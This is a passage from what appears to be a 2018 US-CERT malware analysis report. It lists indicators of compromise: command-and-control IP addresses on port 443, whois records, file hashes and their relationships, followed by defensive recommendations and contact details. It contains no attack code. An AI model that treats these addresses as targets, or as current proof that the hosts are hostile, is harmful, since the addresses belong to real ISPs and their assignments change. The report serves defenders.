Registry Admin ID: Not Available From Registry
Admin Name: ******** ******** (see Notes section below on how to view unmasked data)
Admin Organization: Konkandaiz
Admin Street: Post Box 53608
Admin Street: Dubai
Admin City: Dubai
Admin State/Province: Not Applicable
Admin Postal Code: 04
Admin Country: AE
Admin Phone: ************
Admin Phone Ext:
Admin Fax: 111111111111
Admin Fax Ext:
Admin Email: ********@*****.***
Registry Tech ID: Not Available From Registry
Tech Name: ******** ******** (see Notes section below on how to view unmasked data)
Tech Organization: Konkandaiz
Tech Street: Post Box 53608
Tech Street: Dubai
Tech City: Dubai
Tech State/Province: Not Applicable
Tech Postal Code: 04
Tech Country: AE
Tech Phone: ************
Tech Phone Ext:
Tech Fax: 111111111111
Tech Fax Ext:
Tech Email: ********@*****.***
Name Server: MY.PRIVATEDNS.COM
Name Server: YOUR.PRIVATEDNS.COM
DNSSEC: unsigned

Relationships

184.107.209.2 Connected_From 3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 

111.207.78.204

Ports

  * 443 TCP 

Whois

inetnum:  111.192.0.0 - 111.207.255.255
netname:  UNICOM-BJ
descr:   China Unicom Beijing province network
descr:   China Unicom
country:  CN
admin-c:  CH1302-AP
tech-c:   SY21-AP
remarks:  service provider
mnt-by:   APNIC-HM
mnt-lower:  MAINT-CNCGROUP
mnt-lower:  MAINT-CNCGROUP-BJ
mnt-routes:  MAINT-CNCGROUP-RR
status:   ALLOCATED PORTABLE
mnt-irt:  IRT-CU-CN
last-modified: 2016-05-04T00:18:25Z
irt:   IRT-CU-CN
address:  No.21,Financial Street
address:  Beijing,100033
address:  P.R.China
e-mail:   hqs-ipabuse () chinaunicom cn
abuse-mailbox: hqs-ipabuse () chinaunicom cn
admin-c:  CH1302-AP
tech-c:   CH1302-AP
auth:   # Filtered
mnt-by:   MAINT-CNCGROUP
last-modified: 2017-10-23T05:59:13Z
person:   ChinaUnicom Hostmaster
nic-hdl:  CH1302-AP
e-mail:   hqs-ipabuse () chinaunicom cn
address:  No.21,Jin-Rong Street
address:  Beijing,100033
address:  P.R.China
phone:   +86-10-66259764
fax-no:   +86-10-66259764
country:  CN
mnt-by:   MAINT-CNCGROUP
last-modified: 2017-08-17T06:13:16Z
person:   sun ying
address:  fu xing men nei da jie 97, Xicheng District
address:  Beijing 100800
country:  CN
phone:   +86-10-66030657
fax-no:   +86-10-66078815
e-mail:   hostmast () publicf bta net cn
nic-hdl:  SY21-AP
mnt-by:   MAINT-CNCGROUP-BJ
last-modified: 2009-06-30T08:42:48Z
source:   APNIC

Relationships

111.207.78.204 Connected_From 3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 

80.91.118.45

Ports

  * 443 TCP 

Whois

inetnum:  80.91.118.0 - 80.91.119.255
netname:  Abissnet
descr:   Business Customers
country:  AL
admin-c:  AB34506-RIPE
tech-c:   AB34506-RIPE
status:   ASSIGNED PA
mnt-by:   AS35047-MNT
created:  2014-10-24T10:09:33Z
last-modified: 2016-06-09T09:47:15Z
source:   RIPE
role:   Abissnet BBone
address:  Rr. Ismail Qemali, P. Abissnet
e-mail:   bbone () abissnet al
abuse-mailbox: bbone () abissnet al
nic-hdl:  AB34506-RIPE
mnt-by:   AS35047-MNT
created:  2016-06-09T08:09:15Z
last-modified: 2016-06-09T08:41:05Z
source:   RIPE

% Information related to '80.91.118.0/24AS35047'

route:   80.91.118.0/24
descr:   Abissnet ISP
origin:   AS35047
mnt-by:   AS35047-MNT
created:  2011-02-27T10:24:58Z
last-modified: 2011-02-27T10:24:58Z
source:   RIPE

Relationships

80.91.118.45 Connected_From 3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 

181.119.19.56

Ports

  * 443 TCP 

Whois

NetRange:  181.0.0.0 - 181.255.255.255
CIDR:   181.0.0.0/8
NetName:  LACNIC-181
NetHandle:  NET-181-0-0-0-0
Parent:   ()
NetType:  Allocated to LACNIC
OriginAS: 
Organization: Latin American and Caribbean IP address Regional Registry (LACNIC)
RegDate:  1993-04-30
Updated:  2010-07-21
Comment:  This IP address range is under LACNIC responsibility
Comment:  for further allocations to users in LACNIC region.
Comment:  Please see http://www.lacnic.net/ for further details,
Comment:  or check the WHOIS server located at http://whois.lacnic.net
Ref:   https://whois.arin.net/rest/net/NET-181-0-0-0-0
OrgName:  Latin American and Caribbean IP address Regional Registry
OrgId:   LACNIC
Address:  Rambla Republica de Mexico 6125
City:   Montevideo
StateProv: 
PostalCode:  11400
Country:  UY
RegDate:  2002-07-26
Updated:  2018-03-15
Ref:   https://whois.arin.net/rest/org/LACNIC

Relationships

181.119.19.56 Connected_From 3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 

59.90.93.97

Ports

  * 443 TCP 

Whois

inetnum:  59.90.64.0 - 59.90.127.255
netname:  BB-Multiplay
descr:   O/o DGM BB, NOC BSNL Bangalore
country:  IN
admin-c:  BH155-AP
tech-c:   DB374-AP
status:   ASSIGNED NON-PORTABLE
mnt-by:   MAINT-IN-DOT
mnt-irt:  IRT-BSNL-IN
last-modified: 2011-02-18T09:27:20Z
source:   APNIC

irt:   IRT-BSNL-IN
address:  Internet Cell
address:  Bharat Sanchar Nigam Limited
address:  8th Floor,148-B Statesman House
address:  Barakhamba Road, New Delhi - 110 001
e-mail:   abuse () bsnl in
abuse-mailbox: abuse () bsnl in
admin-c:  NC83-AP
tech-c:   CGMD1-AP
auth:   # Filtered
mnt-by:   MAINT-IN-DOT
last-modified: 2017-10-20T05:42:50Z
source:   APNIC

person:   BSNL Hostmaster
nic-hdl:  BH155-AP
e-mail:   hostmaster () bsnl in
address:  Broadband Networks
address:  Bharat Sanchar Nigam Limited
address:  2nd Floor, Telephone Exchange, Sector 62
address:  Noida
phone:   +91-120-2404243
fax-no:   +91-120-2404241
country:  IN
mnt-by:   MAINT-IN-PER-DOT
last-modified: 2015-11-12T06:00:14Z
person:   DGM Broadband
address:  BSNL NOC Bangalore
country:  IN
phone:   +91-080-25805800
fax-no:   +91-080-25800022
e-mail:   dnwplg () bsnl in
nic-hdl:  DB374-AP
mnt-by:   MAINT-IN-PER-DOT
last-modified: 2011-02-19T10:03:44Z
source:   APNIC

% Information related to '59.90.80.0/20AS9829'

route:   59.90.80.0/20
descr:   BSNL Internet
country:  IN
origin:   AS9829
mnt-lower:  MAINT-IN-DOT
mnt-routes:  MAINT-IN-DOT
mnt-by:   MAINT-IN-AS9829
last-modified: 2008-09-04T07:54:47Z
source:   APNIC

Relationships

59.90.93.97 Connected_From a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6 

Relationship Summary

8c3e0204f5... Contains a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6 a71017302e... Connected_To 
59.90.93.97 a71017302e... Contained_Within 8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8 
675a35e04b... Contains e69d6c2d3e9c4beebee7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7 e69d6c2d3e... Contained_Within 
675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1 d1d490866d... Contains 
40ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116 40ef57ca2a... Contained_Within 
d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92 546dbd370a... Contains 
3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 3c809a1010... Contained_Within 
546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6e6cd5d874e1 3c809a1010... Connected_To 184.107.209.2 3c809a1010... 
Connected_To 111.207.78.204 3c809a1010... Connected_To 80.91.118.45 3c809a1010... Connected_To 181.119.19.56 
c9e3b83d77... Contains e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef e088c3a0b0... Contained_Within 
c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777 20abb95114... Connected_To 98.101.211.162 
20abb95114... Connected_To 81.0.213.173 98.101.211.162 Connected_From 
20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64 81.0.213.173 Connected_From 
20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64 184.107.209.2 Connected_From 
3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 111.207.78.204 Connected_From 
3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 80.91.118.45 Connected_From 
3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 181.119.19.56 Connected_From 
3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 59.90.93.97 Connected_From 
a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6 

Recommendations

NCCIC would like to remind users and administrators to consider using the following best practices to strengthen the 
security posture of their organization's systems. Any configuration changes should be reviewed by system owners and 
administrators prior to implementation to avoid unwanted impacts.


  * Maintain up-to-date antivirus signatures and engines. 
  * Keep operating system patches up-to-date. 
  * Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory 
authentication. 
  * Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the 
local administrators group unless required. 
  * Enforce a strong password policy and implement regular password changes. 
  * Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be 
known. 
  * Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests. 
  * Disable unnecessary services on agency workstations and servers. 
  * Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the 
extension matches the file header). 
  * Monitor users' web browsing habits; restrict access to sites with unfavorable content. 
  * Exercise caution when using removable media (e.g., USB thumbdrives, external drives, CDs, etc.). 
  * Scan all software downloaded from the Internet prior to executing. 
  * Maintain situational awareness of the latest threats and implement appropriate ACLs. 

Additional information on malware incident prevention and handling can be found in NIST's Special Publication 800-83, 
*Guide to Malware Incident Prevention & Handling for Desktops and Laptops.*

Contact Information

  * 1-888-282-0870 
  * NCCICCustomerService () us-cert gov [ https://www.us-cert.govmailto:NCCICCustomerService () us-cert gov ] (UNCLASS) 
  * us-cert () dhs sgov gov [ https://www.us-cert.govmailto:us-cert () dhs sgov gov ] (SIPRNET) 
  * us-cert () dhs ic gov [ https://www.us-cert.govmailto:us-cert () dhs ic gov ] (JWICS) 

NCCIC continuously strives to improve its products and services. You can help by answering a very short series of 
questions about this product at the following URL: https://us-cert.gov/forms/feedback/

Document FAQ

*What is a MIFR?* A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis 
in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To 
request additional analysis, please contact US-CERT and provide information regarding the level of desired analysis.

*What is a MAR?* A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware 
analysis acquired via manual reverse engineering. To request additional analysis, please contact US-CERT and provide 
information regarding the level of desired analysis.

*Can I edit this document?* This document is not to be edited in any way by recipients. All comments or questions 
related to this document should be directed to the NCCIC at 1-888-282-0870 or soc () us-cert gov [ 
https://www.us-cert.govmailto:soc () us-cert gov ].

*Can I submit malware to NCCIC?* Malware samples can be submitted via three methods:


  * Web: https://malware.us-cert.gov 
  * E-Mail: submit () malware us-cert gov [ https://www.us-cert.govmailto:submit () malware us-cert gov ] 
  * FTP: ftp.malware.us-cert.gov (anonymous) 

NCCIC encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, 
software vulnerabilities, and phishing-related scams. Reporting forms can be found on US-CERT's homepage at 
www.us-cert.gov [ http://www.us-cert.gov ].

 

Revisions

  * June 14, 2018: Initial version 
________________________________________________________________________

This product is provided subject to this Notification [ http://www.us-cert.gov/privacy/notification ] and this Privacy 
& Use [ http://www.us-cert.gov/privacy/ ] policy.

 
________________________________________________________________________

A copy of this publication is available at www.us-cert.gov [ https://www.us-cert.gov ]. If you need help or have 
questions, please send an email to info () us-cert gov. Do not reply to this message since this email was sent from a 
notification-only address that is not monitored. To ensure you receive future US-CERT products, please add US-CERT () 
ncas us-cert gov to your address book. 

OTHER RESOURCES: Contact Us [ http://www.us-cert.gov/contact-us/ ] | Security Publications [ 
http://www.us-cert.gov/security-publications ] | Alerts and Tips [ http://www.us-cert.gov/ncas ] | Related Resources [ 
http://www.us-cert.gov/related-resources ]  

STAY CONNECTED: Sign up for email updates [ http://public.govdelivery.com/accounts/USDHSUSCERT/subscriber/new ]